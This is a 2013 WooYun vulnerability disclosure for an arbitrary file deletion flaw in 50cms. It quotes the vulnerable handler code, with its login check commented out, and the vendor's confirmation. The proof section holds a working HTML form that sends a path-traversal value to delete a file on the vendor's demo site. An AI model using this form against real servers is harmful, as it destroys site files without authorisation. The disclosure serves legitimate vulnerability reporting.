当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-018388

漏洞标题:50cms任意文件删除

相关厂商:云南力诺科技有限公司

漏洞作者: wefgod

提交时间:2013-03-03 15:17

修复时间:2013-04-17 15:17

公开时间:2013-04-17 15:17

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-03: 细节已通知厂商并且等待厂商处理中
2013-03-03: 厂商已经确认,细节仅向厂商公开
2013-03-06: 细节向第三方安全合作伙伴开放
2013-04-27: 细节向核心白帽子及相关领域专家公开
2013-05-07: 细节向普通白帽子公开
2013-05-17: 细节向实习白帽子公开
2013-04-17: 细节向公众公开

简要描述:

50cms存在任意文件删除的问题

详细说明:

这套开源的CMS有两个页面存在这个问题。
看看代码就知道了,
文件1,SingleUpload.ashx

//检查是否登录后上传操作
//if (!new ManagePage().IsAdminLogin())
//{
// context.Response.Write("{msg: 0, msbox: \"请登录后再进行上传文件!\"}");
// return;
//}


验证是否登录的代码都被注释掉了,然后下面是一些相关的获取删除文件名的信息的操作:

string _refilepath = context.Request.QueryString["ReFilePath"]; //取得返回的对象名称
string _delfile = context.Request.Params[_refilepath];
UpLoad upFiles = new UpLoad();
string msg = upFiles.fileSaveAs(_upfile, _iswater);
//删除已存在的旧文件
if (!string.IsNullOrEmpty(_delfile))
{
string _filename = Utils.GetMapPath(_delfile);
if (File.Exists(_filename))
{
File.Delete(_filename);
}
}


基本上只要权限够,想删除什么都可以。中间还有一段代码要注意,就是上传文件不可以为空:
if (_upfile == null)
{
context.Response.Write("{\"msg\": 1, \"msbox\": \"请选择要上传文件!\"}");
return;
}
根据这些构造一下就可以搞定了。
文件2,DeleteAlbumFile.ashx,问题和上面基本类似

漏洞证明:

<form action="http://test.50cms.com/tools/SingleUpload.ashx?UpFilePath=FileUpload&ReFilePath=123" method="post" enctype="MULTIPART/FORM-DATA">
选择文件:<input type="file" id="file" name="FileUpload"/><br>
选择路径:<input type="input" name="123" value="../KindEditor/asp.net/demo.aspx" /><br>
<input type="submit" /><br>
</form>
对比下面两个图:

.jpg


1.jpg

修复方案:

别乱让人删除文件啊……而且登录也要限制一下。

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2013-03-03 15:57

厂商回复:

感谢对50cms 的关注,本系统是个开源免费的东东,因此发展离不开大家的关心和关爱,最新版本已经修补上该漏洞,可在官网瞎子,演示网站由于服务器放香港,故没更新最新程序,是我们是疏忽。再次感谢对本程序的支持。我们将一如既往做好我们的产品免费提供给大家,也欢迎更多的人来交流。

最新状态:

暂无